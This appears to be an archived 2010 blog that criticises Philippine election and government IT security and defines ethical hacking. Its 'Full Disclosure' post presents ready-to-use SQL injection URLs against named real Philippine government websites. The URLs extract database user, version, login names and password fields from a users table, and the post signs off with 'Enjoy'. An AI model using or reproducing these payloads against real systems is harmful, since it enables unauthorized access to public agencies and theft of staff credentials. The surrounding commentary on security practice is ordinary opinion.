Monday, January 11, 2010

Comelec's IT Security Ignorance Has No Limits

Latest Comelec Statement Regarding Hacking Issues (please read)

1. After confidently challenging all hackers months ago and offering a reward of 10 million pesos ($200,000) to anyone who will suceed in hacking the ("hack-proof") philippine automated election system, they are now contradicting their own statement by warning of severe punishment if anyone tries to do so. Huh?!

2.  They proudly announced that they already have the codes used in the website attacks...of course you do it has been published repeatedly in the internet months ago...now if you only bothered to check but i guess using Google is to complicated for your people huh?

3. They are relying on the fact that the system will only be online for 2 minutes, uses 128-bit encryption and protected by firewalls...

Of course it is! And so does every system compromised throughout these past few years! Even the most expensive state-of-the-art firewalls in first-world countries have fallen to application layer attacks simply because firewalls are network layer based and are therefore of no use to application attacks such as those used to deface the philippine government websites. Who says the 128-bit encryption have to be broken within 2 minutes in order to compromise a system? Have you heard of SSL stripping technique that bypasses encryption protocols in a matter of seconds barely noticeable to the regular user?

4. They are assuming already that the attacker would be an individual one. Sure regular newbies who deface websites are often just one guy in front of a computer. But have you heard of the more sophisticated hackers who are well organized and some even funded by underground syndicates that uses advanced "Botnet" technologies capable of using multi-technique ("combo") and automated attacks in a matter of seconds?

The thing is, if there is one thing that the Comelec probably did right was to re-assure the general public (to the point of playing dumb?) in order not to cause alarm and lost of confidence on their competence. As always this blog will continue to disclose critical, unedited security vulnerabilities to raise the level of awareness even for just a little bit more. As they say, education is the key to ignorance.

*** But what REALLY gets on my nerves the most is the fact that the CICT want to turn this issue into another money-making scheme as an excuse to purchase costly equipments and get more kickbacks or "tongpats". Most of the website attacks would have been prevented by simple programming corrections all of which does'nt cost a thing if only they had competent people. No need to waste more taxpayer money by relying on technology to replace common sense !

Sunday, January 10, 2010

Full Disclosure : Defaced Philippine Government Websites

Now that the DOLE and DSWD websites have been "fixed" by its highly "competent" employees days after the defacing incidents happened, it is only proper that the rest of us techies find out the details of what really happened. So without further delay, here are the actual codes probably used to obtain admin rights (note: for educational purposes only) which have been floating around the net for several months already. Enjoy .

http://www.dole.gov.ph/secondpage.php?id=-1+union+select+1,2,user%28%29,4,database%28%29,version%28%29,7,8,9--

http://www.dswd.gov.ph/faqdetails.php?id=-47%20union%20select%201,2,convert(user_login+using+utf8),4,5,6+from+benz_rb.users

http://www.dswd.gov.ph/faqdetails.php?id=-47%20union%20select%201,2,convert(user_password+using+utf8),4,5,6+from+benz_rb.users

http://www.dswd.gov.ph/articledetails.php?id=-1144+union+select+1,2,3,4,version(),6--

Sunday, January 3, 2010

Hacking Methodologies

Friday, January 1, 2010

What is Ethical Hacking



White hat hackers, also known as ethical hackers, or white knights, are computer security experts, who specialize in penetration testing, and other testing methodologies, to ensure that a company's information systems are secure. Such people are employed by companies where these professionals are sometimes called "sneakers". Groups of these people are often called tiger teams or red teams. These security experts may utilize a variety of methods to carry out their tests, including social engineering tactics, use of hacking tools, and attempts to evade security to gain entry into secured areas.
The National Security Agency offers certifications such as the CNSS 4011. Such a certification covers orderly, ethical hacking techniques and team management. Aggressor teams are called "red" teams. Defender teams are called "blue" teams.
Certified Ethical Hacker Network Security Internet Security Computer Security Wireless Network Security